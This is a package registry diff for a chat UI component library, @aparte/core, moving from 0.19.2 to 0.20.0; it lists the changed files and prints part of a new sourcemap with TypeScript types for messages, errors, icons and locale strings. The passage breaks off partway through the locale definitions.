@aparte/core 0.19.2 → 0.20.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (151) hide show
  1. package/README.md +6 -1
  2. package/dist/client/aparte-client.d.ts +76 -97
  3. package/dist/client/aparte-client.d.ts.map +1 -1
  4. package/dist/client/stream-adapter.d.ts +7 -13
  5. package/dist/client/stream-adapter.d.ts.map +1 -1
  6. package/dist/client/wire-history.d.ts +4 -5
  7. package/dist/client/wire-history.d.ts.map +1 -1
  8. package/dist/components/bubble/aparte-chat-bubble.d.ts +89 -58
  9. package/dist/components/bubble/aparte-chat-bubble.d.ts.map +1 -1
  10. package/dist/components/bubble/bubble-sync.d.ts +1 -1
  11. package/dist/components/chat/aparte-chat.d.ts +15 -13
  12. package/dist/components/chat/aparte-chat.d.ts.map +1 -1
  13. package/dist/components/chat/glide-gate.d.ts +13 -0
  14. package/dist/components/chat/glide-gate.d.ts.map +1 -0
  15. package/dist/components/composer/aparte-composer-action.d.ts +3 -3
  16. package/dist/components/composer/aparte-composer-add-attachment.d.ts +2 -2
  17. package/dist/components/composer/aparte-composer-cancel.d.ts +1 -1
  18. package/dist/components/composer/aparte-composer-input.d.ts +4 -7
  19. package/dist/components/composer/aparte-composer-input.d.ts.map +1 -1
  20. package/dist/components/composer/aparte-composer-send.d.ts +9 -11
  21. package/dist/components/composer/aparte-composer-send.d.ts.map +1 -1
  22. package/dist/components/composer/aparte-composer.d.ts +50 -80
  23. package/dist/components/composer/aparte-composer.d.ts.map +1 -1
  24. package/dist/components/context/aparte-context.d.ts +13 -7
  25. package/dist/components/context/aparte-context.d.ts.map +1 -1
  26. package/dist/components/conversation-list/aparte-conversation-list.d.ts +25 -13
  27. package/dist/components/conversation-list/aparte-conversation-list.d.ts.map +1 -1
  28. package/dist/components/elicitation/aparte-elicitation.d.ts +15 -22
  29. package/dist/components/elicitation/aparte-elicitation.d.ts.map +1 -1
  30. package/dist/components/scroll-rail/aparte-scroll-rail.d.ts +10 -11
  31. package/dist/components/scroll-rail/aparte-scroll-rail.d.ts.map +1 -1
  32. package/dist/components/sidebar/aparte-sidebar.d.ts +16 -3
  33. package/dist/components/sidebar/aparte-sidebar.d.ts.map +1 -1
  34. package/dist/components/split/aparte-split.d.ts +12 -3
  35. package/dist/components/split/aparte-split.d.ts.map +1 -1
  36. package/dist/components/status/aparte-chat-status.d.ts +5 -3
  37. package/dist/components/status/aparte-chat-status.d.ts.map +1 -1
  38. package/dist/components/suggestions/aparte-suggestions.d.ts +6 -9
  39. package/dist/components/suggestions/aparte-suggestions.d.ts.map +1 -1
  40. package/dist/components/viewport/aparte-chat-viewport.d.ts +76 -69
  41. package/dist/components/viewport/aparte-chat-viewport.d.ts.map +1 -1
  42. package/dist/config/aparte-config.d.ts +169 -141
  43. package/dist/config/aparte-config.d.ts.map +1 -1
  44. package/dist/config/icon-provider.d.ts +19 -2
  45. package/dist/config/icon-provider.d.ts.map +1 -1
  46. package/dist/config/index.d.ts +1 -1
  47. package/dist/config/index.d.ts.map +1 -1
  48. package/dist/config/locale.d.ts +61 -89
  49. package/dist/config/locale.d.ts.map +1 -1
  50. package/dist/config/sanitize.d.ts.map +1 -1
  51. package/dist/conversations/conversation-controller.d.ts +18 -3
  52. package/dist/conversations/conversation-controller.d.ts.map +1 -1
  53. package/dist/conversations/conversation-manager.d.ts +6 -6
  54. package/dist/conversations/conversation-manager.d.ts.map +1 -1
  55. package/dist/conversations/index.d.ts +1 -1
  56. package/dist/conversations/index.d.ts.map +1 -1
  57. package/dist/custom-elements.json +5656 -4759
  58. package/dist/{dialog-triggers-CEazY76J.js → dialog-triggers-3Rk7PuZa.js} +555 -375
  59. package/dist/dialog-triggers-3Rk7PuZa.js.map +1 -0
  60. package/dist/elicitation/approval-panel.d.ts.map +1 -1
  61. package/dist/elicitation/index.d.ts +6 -1
  62. package/dist/elicitation/index.d.ts.map +1 -1
  63. package/dist/elicitation/panel.d.ts +11 -21
  64. package/dist/elicitation/panel.d.ts.map +1 -1
  65. package/dist/elicitation/types.d.ts +19 -27
  66. package/dist/elicitation/types.d.ts.map +1 -1
  67. package/dist/generated/element-attributes.d.ts +16 -10
  68. package/dist/generated/element-attributes.d.ts.map +1 -1
  69. package/dist/host/aparte-chat-host.d.ts +17 -32
  70. package/dist/host/aparte-chat-host.d.ts.map +1 -1
  71. package/dist/icons/extended.d.ts +1 -2
  72. package/dist/icons/extended.d.ts.map +1 -1
  73. package/dist/icons.d.ts +6 -8
  74. package/dist/icons.d.ts.map +1 -1
  75. package/dist/icons.js.map +1 -1
  76. package/dist/index.css +1 -1
  77. package/dist/index.d.ts +13 -10
  78. package/dist/index.d.ts.map +1 -1
  79. package/dist/index.js +775 -337
  80. package/dist/index.js.map +1 -1
  81. package/dist/index.node.d.ts +7 -4
  82. package/dist/index.node.d.ts.map +1 -1
  83. package/dist/index.node.js +2 -2
  84. package/dist/index.node.js.map +1 -1
  85. package/dist/interop/dialog-triggers.d.ts +2 -2
  86. package/dist/interop/element-props.d.ts +16 -27
  87. package/dist/interop/element-props.d.ts.map +1 -1
  88. package/dist/parsers/aparte-stream-parser.d.ts.map +1 -1
  89. package/dist/primitives/icon/aparte-icon.d.ts.map +1 -1
  90. package/dist/primitives/select/aparte-option.d.ts +3 -2
  91. package/dist/primitives/select/aparte-option.d.ts.map +1 -1
  92. package/dist/primitives/select/aparte-select.d.ts +24 -21
  93. package/dist/primitives/select/aparte-select.d.ts.map +1 -1
  94. package/dist/renderers/markdown-stream.d.ts.map +1 -1
  95. package/dist/renderers/segment-renderers.d.ts +11 -17
  96. package/dist/renderers/segment-renderers.d.ts.map +1 -1
  97. package/dist/renderers/segments/code.d.ts.map +1 -1
  98. package/dist/renderers/segments/error.d.ts.map +1 -1
  99. package/dist/renderers/segments/text.d.ts.map +1 -1
  100. package/dist/renderers/segments/thinking.d.ts.map +1 -1
  101. package/dist/renderers/segments/tool-call.d.ts.map +1 -1
  102. package/dist/runtime/message-repository.d.ts +8 -15
  103. package/dist/runtime/message-repository.d.ts.map +1 -1
  104. package/dist/transport/agent-handler.d.ts +2 -0
  105. package/dist/transport/agent-handler.d.ts.map +1 -1
  106. package/dist/transport/backend-handler.d.ts +4 -6
  107. package/dist/transport/backend-handler.d.ts.map +1 -1
  108. package/dist/transport/backend-transport.d.ts +15 -1
  109. package/dist/transport/backend-transport.d.ts.map +1 -1
  110. package/dist/transport/types.d.ts +7 -10
  111. package/dist/transport/types.d.ts.map +1 -1
  112. package/dist/types/chat.d.ts +10 -18
  113. package/dist/types/chat.d.ts.map +1 -1
  114. package/dist/types/element-attributes.d.ts +6 -12
  115. package/dist/types/element-attributes.d.ts.map +1 -1
  116. package/dist/types/element-map.d.ts +6 -19
  117. package/dist/types/element-map.d.ts.map +1 -1
  118. package/dist/types/event-map.d.ts +11 -17
  119. package/dist/types/event-map.d.ts.map +1 -1
  120. package/dist/types/events.d.ts +5 -14
  121. package/dist/types/events.d.ts.map +1 -1
  122. package/dist/types/imperative-api.d.ts +3 -1
  123. package/dist/types/imperative-api.d.ts.map +1 -1
  124. package/dist/types/index.d.ts +4 -4
  125. package/dist/types/index.d.ts.map +1 -1
  126. package/dist/types/model-provider.d.ts +7 -9
  127. package/dist/types/model-provider.d.ts.map +1 -1
  128. package/dist/types/segments.d.ts +29 -13
  129. package/dist/types/segments.d.ts.map +1 -1
  130. package/dist/types/tools.d.ts +21 -23
  131. package/dist/types/tools.d.ts.map +1 -1
  132. package/dist/utils/copy-text.d.ts +1 -2
  133. package/dist/utils/copy-text.d.ts.map +1 -1
  134. package/dist/utils/css-escape.d.ts +1 -1
  135. package/dist/utils/escape.d.ts +4 -19
  136. package/dist/utils/escape.d.ts.map +1 -1
  137. package/dist/utils/files-to-attachments.d.ts +2 -2
  138. package/dist/utils/fold-text.d.ts +13 -0
  139. package/dist/utils/fold-text.d.ts.map +1 -0
  140. package/dist/utils/is-awaiting-reply.d.ts +2 -5
  141. package/dist/utils/is-awaiting-reply.d.ts.map +1 -1
  142. package/dist/utils/presence.d.ts +5 -5
  143. package/dist/utils/segments.d.ts +54 -78
  144. package/dist/utils/segments.d.ts.map +1 -1
  145. package/dist/utils/tool-input.d.ts +1 -1
  146. package/dist/utils/tool-input.d.ts.map +1 -1
  147. package/dist/utils/transcript.d.ts +2 -2
  148. package/dist/utils/uuid.d.ts +0 -11
  149. package/dist/utils/uuid.d.ts.map +1 -1
  150. package/package.json +30 -4
  151. package/dist/dialog-triggers-CEazY76J.js.map +0 -1
@@ -0,0 +1 @@
1
+ {"version":3,"file":"dialog-triggers-3Rk7PuZa.js","sources":["../src/types/chat.ts","../src/types/errors.ts","../src/config/icon-provider.ts","../src/config/locale.ts","../src/transport/types.ts","../src/transport/direct-transport.ts","../src/utils/uuid.ts","../src/parsers/aparte-stream-parser.ts","../src/utils/ndjson.ts","../src/parsers/aparte-event-stream.ts","../src/transport/backend-transport.ts","../src/transport/backend-handler.ts","../src/utils/segments.ts","../src/config/config-context.ts","../src/client/lifecycle-events.ts","../src/client/stream-adapter.ts","../src/transport/agent-ticket.ts","../src/transport/agent-handler.ts","../src/config/sanitize.ts","../src/elicitation/types.ts","../src/utils/escape.ts","../src/utils/chat-boundary.ts","../src/config/aparte-config.ts","../src/config/config-subscribe.ts","../src/renderers/markdown-stream.ts","../src/renderers/segments/text.ts","../src/renderers/segments/thinking.ts","../src/utils/copy-text.ts","../src/renderers/highlight-stream.ts","../src/renderers/segments/code.ts","../src/renderers/segments/error.ts","../src/utils/tool-input.ts","../src/renderers/segments/tool-call.ts","../src/renderers/segment-renderers.ts","../src/components/bubble/bubble-sync.ts","../src/conversations/types.ts","../src/types/models.ts","../src/conversations/conversation-manager.ts","../src/utils/files-to-attachments.ts","../src/conversations/conversation-controller.ts","../src/utils/css-escape.ts","../src/components/chat/glide-gate.ts","../src/host/aparte-chat-host.ts","../src/client/wire-history.ts","../src/utils/event-target.ts","../src/elicitation/panel.ts","../src/elicitation/approval-panel.ts","../src/elicitation/index.ts","../src/client/aparte-client.ts","../src/client/agent-runner.ts","../src/runtime/message-repository.ts","../src/interop/element-props.ts","../src/utils/is-awaiting-reply.ts","../src/interop/dialog-triggers.ts"],"sourcesContent":["/**\n * Aparte Chat Request & Stream Types\n */\n\nimport type { AparteTool, AparteToolCall } from './tools.js';\nimport type { AparteSegment } from './segments.js';\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Content Parts — multimodal message content (Vercel AI SDK compatible)\n// ─────────────────────────────────────────────────────────────────────────────\n\n/** Plain text content part */\nexport interface AparteTextPart {\n type: 'text';\n text: string;\n}\n\n/**\n * Image content part.\n * `image` must be a base64 data URL: `data:image/png;base64,...`\n * The data URL encodes the MIME type, making it consumable by all providers.\n */\nexport interface AparteImagePart {\n type: 'image';\n image: string;\n mimeType?: string;\n}\n\n/**\n * Discriminated union of all content part types.\n *\n * Only text and image parts exist: the client inlines images and text files and drops\n * other attachments (PDF, audio) with a warning at the point the file is dropped.\n */\nexport type AparteContentPart = AparteTextPart | AparteImagePart;\n\n/**\n * Extract plain text from a `string | AparteContentPart[]` content value.\n * Use this in providers and app-layer code whenever you need the text-only representation.\n */\nexport function contentToText(content: string | AparteContentPart[]): string {\n if (typeof content === 'string') return content;\n return content\n .filter((p): p is AparteTextPart => p.type === 'text')\n .map(p => p.text)\n .join('');\n}\n\nexport interface AparteChatMessage {\n role: 'user' | 'assistant' | 'system' | 'tool';\n /**\n * Message content — either a plain string (backward compatible) or an array\n * of typed content parts: text and images. A binary the model cannot read is\n * not a content part; see the note on {@link AparteContentPart}.\n *\n * Use `contentToText(content)` to extract the text-only representation.\n */\n content: string | AparteContentPart[];\n /**\n * On an `assistant` message: the tool calls the model made this turn, grouped.\n * `content` is what it said before them — `''` when it said nothing.\n */\n toolCalls?: AparteToolCall[];\n /** On a `tool` message: the id of the call, in the preceding assistant message, that it answers. */\n toolCallId?: string;\n /**\n * On a `tool` message: the name of the tool that ran.\n *\n * Optional, and worth setting: a wire format that names the tool on the result\n * (the AI SDK does) otherwise has to scan back for the call that declared the id,\n * which a hand-built history need not contain.\n */\n toolName?: string;\n}\n\n/**\n * The request one turn sends to a provider.\n *\n * Provider-specific options are not fields of the request: a provider reads its option off\n * `_meta`, the namespaced bag, which reaches it untouched.\n */\nexport interface AparteChatRequest {\n messages: AparteChatMessage[];\n modelId: string;\n temperature?: number;\n maxTokens?: number;\n stream?: boolean;\n /** Tools the AI is allowed to call */\n tools?: AparteTool[];\n /**\n * Random seed for reproducibility. Passed through verbatim by the providers\n * that support it (OpenAI-compatible endpoints, the AI SDK bridge, the\n * transformers worker); Anthropic exposes none, so it is ignored there.\n *\n * Nothing sets it for you: a retry varies its answer by sampling\n * (`temperature`), not by seeding. Set it from a `requestInterceptor` when you\n * need reproducible runs.\n */\n seed?: number;\n\n /**\n * Controls which tool the model must call — mirrors OpenAI tool_choice / Anthropic tool_choice.\n * - 'auto' : model decides (default when tools are present)\n * - 'none' : no tools injected this turn — model answers directly\n * - { name } : model MUST call this tool (provider injects a strong directive)\n * - { name, input }: synthetic call — the agent loop (`runStreamAgent`,\n * or the runner you injected) bypasses the LLM\n * entirely and runs the handler directly with the provided\n * input, then re-calls the LLM with the tool message in history.\n */\n toolChoice?: 'auto' | 'none' | { name: string; input?: Record<string, unknown> };\n\n /**\n * Opaque, namespaced metadata bag threaded through the request pipeline (e.g.\n * from a `requestInterceptor` to the loop's post-processing). Core neither\n * filters nor rewrites it, which is what makes it the channel for an option\n * only one provider understands: it reaches that provider verbatim, and\n * `AparteBackendTransport`'s default body serialises it to your endpoint too.\n * So it is not a place to hide a secret. The well-known keys are typed; see\n * {@link AparteRequestMeta}.\n */\n _meta?: AparteRequestMeta;\n}\n\n/**\n * The well-known keys of `AparteChatRequest._meta`. Two: `prefixSegments`, read by core's\n * client and not by the loop, and `compaction`, which `@aparte/plugin-compaction` sets for\n * a transport to route on; the rest of the bag is the consumer's (index signature).\n * An artifact is a plugin's convention, so no artifact key is defined here.\n */\nexport interface AparteRequestMeta {\n /**\n * Segments to show at the top of the assistant's turn before the model has said\n * anything — a \"planning\" thinking block a host wants visible from the first\n * frame, a status row. Added right after the turn flips to `streaming`, in this\n * order, and never sent to the model.\n */\n prefixSegments?: AparteSegment[];\n /**\n * Set by `@aparte/plugin-compaction` on the summarisation request, and on nothing\n * else. A backend transport can route it — a cheaper model, a shorter timeout —\n * without inspecting the messages to guess what the request is for.\n */\n compaction?: true;\n /** Consumer-specific context (open channel). */\n [key: string]: unknown;\n}\n\n/**\n * Token usage reported by the AI provider after a completed response.\n */\nexport interface AparteUsage {\n /** Tokens in the prompt / conversation history sent to the model */\n inputTokens: number;\n /** Tokens generated by the model */\n outputTokens: number;\n /** Total tokens (inputTokens + outputTokens). Populated when the provider reports it. */\n totalTokens?: number;\n /** Tokens read from the provider's prompt cache (Anthropic, OpenAI). */\n cacheReadTokens?: number;\n /** Wall-clock generation time in milliseconds (provider-measured). Used to compute tokens/sec. */\n durationMs?: number;\n\n // ── Extended timing (offline transformers provider) ──────────────────\n /** Time to first token in ms — the prefill / TTFT phase. */\n ttftMs?: number;\n /** Decode-phase wall time in ms (≈ durationMs − ttftMs). */\n decodeMs?: number;\n /** Tokens emitted during the decode phase (outputTokens minus the first). */\n decodeTokens?: number;\n /** Total turn wall-clock time in ms, measured client-side across all phases. */\n wallMs?: number;\n /** Id of the model that produced this response. */\n modelId?: string;\n /** Compute device used for this response ('webgpu' | 'wasm' | …). */\n device?: string;\n /**\n * Per-call breakdown when a single turn used several provider calls\n * (e.g. a tool-use round-trip or a mid-turn model swap). Absent for a plain\n * single-call turn. Each entry is the AparteUsage of one provider call.\n */\n phases?: AparteUsage[];\n}\n\n/**\n * Normalized stream event map — extensible via declaration merging.\n *\n * @example\n * // In a plugin or app:\n * declare module '@aparte/core' {\n * interface AparteStreamEventMap {\n * tool_call: { name: string; arguments: string }\n * }\n * }\n */\nexport interface AparteStreamEventMap {\n text: { delta: string }\n thinking: { delta: string }\n /** Emitted when the stream ends. May carry token usage reported by the provider. */\n done: { usage?: AparteUsage }\n error: { message: string }\n tool_use: AparteToolCall\n}\n\n/** Discriminated union derived from AparteStreamEventMap — stays in sync automatically. */\nexport type AparteStreamEvent = {\n [K in keyof AparteStreamEventMap]: { type: K } & AparteStreamEventMap[K]\n}[keyof AparteStreamEventMap]\n\nexport type AparteChatResponse = ReadableStream<AparteStreamEvent> | string;\n","// AparteCore Standard Error Codes\nexport enum AparteErrorCode {\n // Configuration Errors (Dev/Host responsibility)\n CONFIG_NO_PROVIDER = 'CONFIG_NO_PROVIDER',\n CONFIG_MISSING_KEY = 'CONFIG_MISSING_KEY',\n CONFIG_INVALID_KEY = 'CONFIG_INVALID_KEY', // HTTP 401 / 403\n CONFIG_INVALID_MODEL = 'CONFIG_INVALID_MODEL',\n\n // Usage Errors (User responsibility)\n USAGE_RATE_LIMIT = 'USAGE_RATE_LIMIT', // HTTP 429\n USAGE_CONTEXT_EXCEEDED = 'USAGE_CONTEXT_EXCEEDED', // HTTP 400\n USAGE_BAD_REQUEST = 'USAGE_BAD_REQUEST', // HTTP 400\n\n // Network & Infrastructure\n NET_OFFLINE = 'NET_OFFLINE',\n NET_TIMEOUT = 'NET_TIMEOUT', // HTTP 408, or a TimeoutError\n NET_ERROR = 'NET_ERROR',\n\n // Provider Errors (External Service)\n PROVIDER_ERROR = 'PROVIDER_ERROR', // HTTP 5xx\n PROVIDER_UNAVAILABLE = 'PROVIDER_UNAVAILABLE', // HTTP 503\n PROVIDER_POLICY = 'PROVIDER_POLICY', // Moderation / Policy\n\n // Internal\n UNKNOWN_ERROR = 'UNKNOWN_ERROR'\n}\n\nexport class AparteError extends Error {\n constructor(\n public override message: string,\n public code: AparteErrorCode,\n public data?: Record<string, unknown>,\n public originalError?: unknown,\n public httpStatus?: number\n ) {\n super(message);\n this.name = 'AparteError';\n }\n\n /**\n * The code an HTTP status stands for — the table the enum's own comments promise.\n * `undefined` for a status the enum does not name (a 404 can be a wrong model or a\n * wrong URL; the message says which, a code would guess).\n */\n static codeForStatus(status: number | undefined): AparteErrorCode | undefined {\n switch (status) {\n case 400: return AparteErrorCode.USAGE_BAD_REQUEST;\n case 401:\n case 403: return AparteErrorCode.CONFIG_INVALID_KEY;\n case 408: return AparteErrorCode.NET_TIMEOUT;\n case 429: return AparteErrorCode.USAGE_RATE_LIMIT;\n case 503: return AparteErrorCode.PROVIDER_UNAVAILABLE;\n default: return status !== undefined && status >= 500 ? AparteErrorCode.PROVIDER_ERROR : undefined;\n }\n }\n\n static from(error: unknown, defaultCode = AparteErrorCode.UNKNOWN_ERROR, defaultStatus?: number): AparteError {\n if (error instanceof AparteError) return error;\n\n const message = error instanceof Error ? error.message : String(error);\n\n // Try to infer status from error object if possible\n const status = (error as { status?: number; statusCode?: number })?.status || (error as { status?: number; statusCode?: number })?.statusCode || defaultStatus;\n\n // A caller that names a code keeps it. The default is what this method is for:\n // read what the error says about itself before settling on UNKNOWN — every\n // transport error used to reach the error card as UNKNOWN_ERROR, a 429 and a\n // 503 alike, because nothing here looked.\n const code = defaultCode !== AparteErrorCode.UNKNOWN_ERROR\n ? defaultCode\n : AparteError.codeForStatus(status) ?? AparteError.codeForFailure(error) ?? defaultCode;\n\n return new AparteError(message, code, undefined, error, status);\n }\n\n /**\n * What a thrown, statusless error says about itself. `fetch` rejects a network\n * failure with a TypeError whose message names the fetch (\"Failed to fetch\",\n * \"NetworkError when attempting to fetch resource.\", \"Load failed\") — any other\n * TypeError is a bug, not the network, and stays unclassified. `AbortSignal.timeout()`\n * rejects with a TimeoutError.\n */\n private static codeForFailure(error: unknown): AparteErrorCode | undefined {\n if (!(error instanceof Error)) return undefined;\n if (error.name === 'TimeoutError') return AparteErrorCode.NET_TIMEOUT;\n if (error instanceof TypeError && /fetch|network|load failed/i.test(error.message)) {\n const offline = typeof navigator !== 'undefined' && navigator.onLine === false;\n return offline ? AparteErrorCode.NET_OFFLINE : AparteErrorCode.NET_ERROR;\n }\n return undefined;\n }\n}\n","/**\n * Icon Provider Interface\n * \n * Defines the contract for icon plugins.\n * Returns HTML strings: SVG, <i> tags, emojis, or any valid HTML.\n * \n * @example\n * // Register an icon provider (e.g. a FontAwesome bridge)\n * aparteGlobalConfig.setIconProvider({\n * copy: () => '<i class=\"fas fa-copy\"></i>',\n * check: () => '<i class=\"fas fa-check\"></i>',\n * // ...\n * });\n */\nimport { APARTE_ICON_GLYPHS } from '../icons/glyphs.js';\n\nexport interface AparteIconProvider {\n // EVERY key is optional: `aparteGlobalConfig.getIcon()` falls back to\n // `APARTE_DEFAULT_ICON_FALLBACKS` for any name a provider doesn't implement, so an\n // icon pack may cover just the icons it cares about (as the example above\n // shows). Requiring the full set made the type contradict the runtime and\n // forced consumers — and this repo's own tests — into `as any`.\n /** Copy button icon */\n copy?: () => string;\n /** Success/check icon */\n check?: () => string;\n /** Send message icon */\n send?: () => string;\n /** Loading/spinner indicator */\n loading?: () => string;\n /** Error indicator */\n error?: () => string;\n /** Expand/show more icon */\n expand?: () => string;\n /** Collapse/show less icon */\n collapse?: () => string;\n /** Terminal/command prompt icon */\n terminal?: () => string;\n /** File attachment / paperclip icon (used by upload plugin) */\n paperclip?: () => string;\n /** Image file icon (used by upload plugin) */\n image?: () => string;\n /** Generic file icon (used by upload plugin) */\n file?: () => string;\n /** Scroll to bottom button icon */\n scrollDown?: () => string;\n /** Retry / regenerate icon */\n retry?: () => string;\n /** Edit / pencil icon */\n edit?: () => string;\n /** Thumbs up / positive feedback icon */\n thumbUp?: () => string;\n /** Thumbs down / negative feedback icon */\n thumbDown?: () => string;\n /** Previous branch arrow */\n prevBranch?: () => string;\n /** Next branch arrow */\n nextBranch?: () => string;\n /** Tool call indicator (wrench) */\n tool?: () => string;\n /** Close / failed / rejected (✕) */\n close?: () => string;\n /** Stop / halt streaming (■) */\n stop?: () => string;\n /** Informational notice (ⓘ) */\n info?: () => string;\n /** Archive a conversation */\n archive?: () => string;\n /** Restore an archived conversation */\n unarchive?: () => string;\n /** Download / save to disk */\n download?: () => string;\n /** A row's actions button (⋯) */\n more?: () => string;\n /** Pin a conversation */\n pin?: () => string;\n /** Delete (a bin) */\n trash?: () => string;\n /** Open a navigation drawer (☰) — the app header's toggle */\n menu?: () => string;\n /** A warning triangle — the alert recipe's icon */\n alertTriangle?: () => string;\n /** Paused — the tool row's state while a person is asked to decide */\n pause?: () => string;\n}\n\n/** Icon names available in the provider — core's, and any merged into `AparteIconProvider`. */\nexport type AparteIconName = keyof AparteIconProvider;\n\n/** The names core draws itself. A name merged into `AparteIconProvider` is not one of them. */\nexport type AparteCoreIconName = keyof typeof APARTE_ICON_GLYPHS;\n\n/**\n * The default drawing for every name, assembled from `icons/glyphs.ts`.\n *\n * `getIcon()` reads this by a COMPUTED key, so a bundler cannot tell which entries a\n * build reaches and keeps the object whole. That is the constraint that shapes the icon\n * set: what belongs here is what core itself draws, and nothing else — an icon nobody\n * renders would still ship to everybody. Extra glyphs are individual exports a consumer\n * imports by name, never members of this record.\n */\nexport const APARTE_DEFAULT_ICON_FALLBACKS: Record<AparteCoreIconName, string> = APARTE_ICON_GLYPHS;\n\n","/**\n * Every translatable string core itself renders — the CLOSED list.\n *\n * Core keeps only the English default in memory (`APARTE_DEFAULT_LOCALE`); other\n * languages arrive through `aparteGlobalConfig.setLocale()`.\n *\n * Closed, and an alias rather than an interface, on purpose. It has no index\n * signature: `AparteConfig.t(key: keyof AparteLocale)` is only checked at compile time\n * while `keyof` stays a union of literals, and an index signature would widen it to\n * `string` so that EVERY literal typechecks. A misspelled key would then compile, `t()`\n * would return `''` at runtime, and the UI would render an empty label with no error.\n *\n * The open half is {@link AparteLocaleExtensions}, and an ALIAS is what lets the two\n * meet: TypeScript gives a type alias an implicit index signature and an interface\n * none, so only this form is assignable to the extensions record that\n * `setLocale`/`extendLocale` accept and `getLocale` returns.\n *\n * Eleven keys here are rendered by no core file — the artifact card's six, its two\n * sandbox lines, the compaction summary's title, the approval mode picker's label and the\n * model selector's placeholder, all drawn by a plugin. They belong in this bag anyway: the\n * locale is one flat object every package shares, so a translator fills one record and\n * `@aparte/locale-fr` needs no companion per plugin. They are the\n * exception rather than the pattern, though, and a closed one: a plugin of your own\n * reads its strings off `getLocale()` and defaults them at the call site (the\n * localization guide shows it), and `check:locale-keys` holds those eleven in\n * `PLUGIN_OWNED` and refuses a twelfth. The reason is that a key here is a published name\n * before it is a word: it ships in every locale package, and the frozen surface then\n * keeps it for two releases.\n */\nexport type AparteLocale = {\n // --- Input Area ---\n inputPlaceholder: string;\n sendButton: string;\n\n // --- Message Actions ---\n copy: string;\n copied: string;\n retry: string;\n\n // --- Status Indicators ---\n /** The label of a reasoning block, live or settled (default: \"Thinking\") */\n thinking: string;\n /** What the status line says while a reply is being written, when it carries no `text` (default: \"Typing\") */\n typing: string;\n error: string;\n running: string; // Terminal running state\n\n // --- Terminal ---\n run: string; // \"Run\" button\n\n // --- Files ---\n file: string; // Generic \"File\" label\n\n // --- Role Names ---\n /** Display name shown above the user's messages (default: \"You\") */\n roleNameUser: string;\n /** Display name shown above the assistant's messages (default: \"Assistant\") */\n roleNameAssistant: string;\n\n // --- Aria labels (bubble / message) ---\n yourMessage: string;\n assistantResponse: string;\n messageActions: string;\n\n // --- Action buttons ---\n edit: string;\n editConfirm: string;\n editCancel: string;\n feedbackPositive: string;\n feedbackNegative: string;\n previousResponse: string;\n nextResponse: string;\n /** Approve button on a tool awaiting human approval (default: \"Approve\") */\n approveTool?: string;\n /** Reject button on a tool awaiting human approval (default: \"Reject\") */\n rejectTool?: string;\n /** Aria-label / tooltip for the message info (\"i\") action button (default: \"Details\") */\n messageInfo?: string;\n\n // --- Conversation list ---\n /** Default title for a new conversation (default: \"New Chat\") */\n newChat: string;\n /** Read by a screen reader while the conversation list is on its way (default: \"Loading conversations\") */\n loadingConversations: string;\n /** The conversation list's line when its filter matches no title (default: \"No conversation matches\") */\n conversationSearchEmpty?: string;\n /** Accessible name of the conversation list, a navigation landmark (default: \"Conversations\") */\n conversationList?: string;\n /** Read by a screen reader while a conversation's messages are on their way (default: \"Loading the conversation\") */\n loadingConversation: string;\n /**\n * The \"Delete\" item of a row's menu (default: \"Delete\"). The menu is named after\n * the row, so the item carries only the verb.\n */\n deleteConversation: string;\n /** The \"Archive\" item of a row's menu (default: \"Archive\") */\n archiveConversation?: string;\n /** The same item on an archived row (default: \"Unarchive\") */\n unarchiveConversation?: string;\n /** Accessible name of the ⋯ button that opens a row's menu (default: \"Conversation actions\") */\n conversationActions?: string;\n /** The \"Rename\" item of a row's menu (default: \"Rename\") */\n renameConversation?: string;\n /** Accessible name of the inline input a rename opens (default: \"Conversation title\") */\n conversationTitle?: string;\n /** The \"Pin\" item of a row's menu (default: \"Pin\") */\n pinConversation?: string;\n /** The same item on a pinned row (default: \"Unpin\") */\n unpinConversation?: string;\n /**\n * The question asked before a delete (default: \"Delete “{title}”?\"). `{title}` is\n * replaced with the row's title; a delete is the one action of the menu that asks\n * first, because it is the one that cannot be undone.\n */\n deleteConversationConfirm?: string;\n /** The button that declines that question (default: \"Cancel\") */\n cancel?: string;\n /** Heading of the pinned rows, which come first (default: \"Pinned\") */\n conversationGroupPinned?: string;\n /** Heading of the rows updated today (default: \"Today\") */\n conversationGroupToday?: string;\n /** … yesterday (default: \"Yesterday\") */\n conversationGroupYesterday?: string;\n /** … in the seven days before that (default: \"Previous 7 days\") */\n conversationGroupWeek?: string;\n /** … in the thirty days before that (default: \"Previous 30 days\"). Older rows are headed by their month, formatted with `tag`. */\n conversationGroupMonth?: string;\n\n // --- Scroll rail ---\n /** Accessible name of `<aparte-scroll-rail>`, the ticks beside the transcript (default: \"Conversation outline\") */\n scrollRailLabel?: string;\n /** Accessible name of `<aparte-sidebar>` (default: \"Conversations\") */\n sidebarLabel?: string;\n /** Accessible name of the seam between a split's two panes (default: \"Resize the panes\") */\n splitHandleLabel?: string;\n /**\n * Accessible name of the transcript itself (default: \"Transcript\").\n *\n * The scroll surface is a tab stop, because in WebKit a scrollable region that is\n * not focusable cannot be scrolled from the keyboard at all. A tab stop with no\n * name is announced as \"group\", so the name ships with the tab stop, not after it.\n */\n transcript?: string;\n\n // --- Elicitation (the panel a tool's question is asked in) ---\n /** The free-text fallback option in a choice (default: \"Other…\") */\n elicitationOther?: string;\n /** Placeholder of the free-text input that option reveals (default: \"Type your answer…\") */\n elicitationOtherPlaceholder?: string;\n /** Accessible name of that input, which has no visible label (default: \"Custom answer\") */\n elicitationOtherLabel?: string;\n /**\n * The send button while a question panel is open, where it submits an ANSWER\n * rather than sending a message (default: \"Submit\").\n */\n submitButton?: string;\n /**\n * The cancel/stop button that replaces send while a turn is streaming\n * (default: \"Stop\").\n *\n * The button carries no visible text — this string is its `aria-label` and its\n * `title`.\n */\n stopButton?: string;\n /**\n * The tag a `recommended` option wears beside its label (default: \"Recommended\").\n * Said, not only tinted: a tint is a hint the eye may miss and a screen reader\n * never gets.\n */\n elicitationRecommended?: string;\n /**\n * The affordance that declines the request (default: \"Skip\").\n *\n * \"Skip\" reads as \"skip THIS one\" on a form of several questions, while it\n * declines the whole request — including questions already answered. That is MCP's\n * `decline`. The receipt shows the outcome unambiguously (one declined row, no\n * question attached), so the label does not have to carry the warning and stays the\n * short conventional word.\n */\n elicitationSkip?: string;\n /** Label of the button that puts an open question or approval aside, to read the transcript behind it (default: \"Hide for now\") */\n elicitationHide?: string;\n /** The one-line bar an aside panel leaves, which brings it back (default: \"Waiting for your answer\") */\n elicitationWaiting?: string;\n /** Affirmative choice of a yes/no question (default: 